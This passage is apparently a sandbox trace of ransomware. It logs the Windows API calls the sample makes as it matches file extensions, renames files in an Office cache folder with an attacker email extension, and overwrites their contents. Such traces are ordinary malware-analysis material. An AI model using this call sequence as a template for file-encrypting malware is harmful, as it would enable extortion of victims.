lpString2=".exe") returned 1 [0057.088] lstrlenW (lpString=".xls") returned 4 [0057.088] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.088] lstrlenW (lpString=".xlsx") returned 5 [0057.088] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0057.088] lstrlenW (lpString=".ppt") returned 4 [0057.088] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0057.088] lstrlenW (lpString=".zip") returned 4 [0057.088] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.088] lstrlenW (lpString=".rar") returned 4 [0057.088] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.088] lstrlenW (lpString=".bz2") returned 4 [0057.088] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.088] lstrlenW (lpString=".7z") returned 3 [0057.088] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0057.088] lstrlenW (lpString=".dbf") returned 4 [0057.088] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0057.088] lstrlenW (lpString=".1cd") returned 4 [0057.088] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0057.088] lstrlenW (lpString=".jpg") returned 4 [0057.088] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0057.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0057.089] lstrlenW (lpString=".doc") returned 4 [0057.089] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.089] lstrlenW (lpString=".docx") returned 5 [0057.089] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0057.089] lstrlenW (lpString=".pdf") returned 4 [0057.089] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.089] lstrlenW (lpString=".xls") returned 4 [0057.089] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.089] lstrlenW (lpString=".xlsx") returned 5 [0057.089] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0057.089] lstrlenW (lpString=".ppt") returned 4 [0057.089] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0057.089] lstrlenW (lpString=".zip") returned 4 [0057.089] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.089] lstrlenW (lpString=".rar") returned 4 [0057.089] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.089] lstrlenW (lpString=".bz2") returned 4 [0057.089] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.089] lstrlenW (lpString=".7z") returned 3 [0057.089] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0057.089] lstrlenW (lpString=".dbf") returned 4 [0057.089] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0057.089] lstrlenW (lpString=".1cd") returned 4 [0057.089] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0057.089] lstrlenW (lpString=".jpg") returned 4 [0057.089] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.089] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0057.090] lstrlenW (lpString="osetup.dll") returned 10 [0057.090] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.090] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7378792) returned 1 [0057.090] CloseHandle (hObject=0x18c) returned 1 [0057.090] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0057.090] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0057.090] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0057.090] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.091] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0057.091] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0057.091] ReadFile (in: hFile=0x18c, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.094] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0057.094] ReadFile (in: hFile=0x18c, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.098] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0057.098] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0057.098] ReadFile (in: hFile=0x18c, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.269] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.269] WriteFile (in: hFile=0x18c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0057.281] SetEndOfFile (hFile=0x18c) returned 1 [0057.281] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40e5008 [0057.315] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0057.315] WriteFile (in: hFile=0x18c, lpBuffer=0x40e5008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40e5008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.316] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0057.316] WriteFile (in: hFile=0x18c, lpBuffer=0x40e5008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40e5008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.318] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0057.318] WriteFile (in: hFile=0x18c, lpBuffer=0x40e5008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40e5008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.320] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40e5008 | out: hHeap=0x6c0000) returned 1 [0057.320] CloseHandle (hObject=0x18c) returned 1 [0057.320] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0057.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.320] lstrlenW (lpString=".doc") returned 4 [0057.320] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.320] lstrlenW (lpString=".docx") returned 5 [0057.320] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0057.320] lstrlenW (lpString=".pdf") returned 4 [0057.320] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.320] lstrlenW (lpString=".xls") returned 4 [0057.320] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.320] lstrlenW (lpString=".xlsx") returned 5 [0057.321] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0057.321] lstrlenW (lpString=".ppt") returned 4 [0057.321] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.321] lstrlenW (lpString=".zip") returned 4 [0057.321] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.321] lstrlenW (lpString=".rar") returned 4 [0057.321] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.321] lstrlenW (lpString=".bz2") returned 4 [0057.321] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.321] lstrlenW (lpString=".7z") returned 3 [0057.321] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.321] lstrlenW (lpString=".dbf") returned 4 [0057.321] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.321] lstrlenW (lpString=".1cd") returned 4 [0057.321] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.321] lstrlenW (lpString=".jpg") returned 4 [0057.321] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.321] lstrlenW (lpString=".doc") returned 4 [0057.321] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.321] lstrlenW (lpString=".docx") returned 5 [0057.321] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0057.321] lstrlenW (lpString=".pdf") returned 4 [0057.321] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.321] lstrlenW (lpString=".xls") returned 4 [0057.321] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.321] lstrlenW (lpString=".xlsx") returned 5 [0057.321] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0057.322] lstrlenW (lpString=".ppt") returned 4 [0057.322] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.322] lstrlenW (lpString=".zip") returned 4 [0057.322] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.322] lstrlenW (lpString=".rar") returned 4 [0057.322] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.322] lstrlenW (lpString=".bz2") returned 4 [0057.322] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.322] lstrlenW (lpString=".7z") returned 3 [0057.322] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.322] lstrlenW (lpString=".dbf") returned 4 [0057.322] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.322] lstrlenW (lpString=".1cd") returned 4 [0057.322] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.322] lstrlenW (lpString=".jpg") returned 4 [0057.322] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.322] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0057.322] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0057.322] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0057.960] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=36233052) returned 1 [0057.960] CloseHandle (hObject=0x20c) returned 1 [0057.960] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0057.961] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0057.961] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0057.961] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0057.961] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0057.961] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0057.961] ReadFile (in: hFile=0x20c, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.980] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0057.980] ReadFile (in: hFile=0x20c, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.019] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.019] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.019] ReadFile (in: hFile=0x20c, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.259] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.259] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0058.273] SetEndOfFile (hFile=0x20c) returned 1 [0058.495] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0058.534] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0058.534] WriteFile (in: hFile=0x20c, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.534] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0058.534] WriteFile (in: hFile=0x20c, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.535] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0058.535] WriteFile (in: hFile=0x20c, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.537] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0058.537] CloseHandle (hObject=0x20c) returned 1 [0058.537] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0058.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0058.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0058.537] lstrlenW (lpString=".doc") returned 4 [0058.537] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0058.537] lstrlenW (lpString=".docx") returned 5 [0058.537] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0058.537] lstrlenW (lpString=".pdf") returned 4 [0058.537] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0058.537] lstrlenW (lpString=".xls") returned 4 [0058.538] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0058.538] lstrlenW (lpString=".xlsx") returned 5 [0058.538] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0058.538] lstrlenW (lpString=".ppt") returned 4 [0058.538] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0058.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0058.538] lstrlenW (lpString=".zip") returned 4 [0058.538] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0058.538] lstrlenW (lpString=".rar") returned 4 [0058.538] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0058.538] lstrlenW (lpString=".bz2") returned 4 [0058.538] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0058.538] lstrlenW (lpString=".7z") returned 3 [0058.538] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0058.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0058.538] lstrlenW (lpString=".dbf") returned 4 [0058.538] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0058.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0058.538] lstrlenW (lpString=".1cd") returned 4 [0058.538] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0058.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0058.538] lstrlenW (lpString=".jpg") returned 4 [0058.538] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0058.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0058.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0058.538] lstrlenW (lpString=".doc") returned 4 [0058.538] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0058.538] lstrlenW (lpString=".docx") returned 5 [0058.538] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0058.538] lstrlenW (lpString=".pdf") returned 4 [0058.538] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0058.538] lstrlenW (lpString=".xls") returned 4 [0058.538] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0058.538] lstrlenW (lpString=".xlsx") returned 5 [0058.538] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0058.538] lstrlenW (lpString=".ppt") returned 4 [0058.539] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0058.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0058.539] lstrlenW (lpString=".zip") returned 4 [0058.539] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0058.539] lstrlenW (lpString=".rar") returned 4 [0058.539] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0058.539] lstrlenW (lpString=".bz2") returned 4 [0058.539] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0058.539] lstrlenW (lpString=".7z") returned 3 [0058.539] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0058.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0058.539] lstrlenW (lpString=".dbf") returned 4 [0058.539] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0058.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0058.539] lstrlenW (lpString=".1cd") returned 4 [0058.539] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0058.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0058.539] lstrlenW (lpString=".jpg") returned 4 [0058.539] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0058.539] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0058.539] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0058.539] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0058.540] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=162970271) returned 1 [0058.540] CloseHandle (hObject=0x20c) returned 1 [0058.540] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all 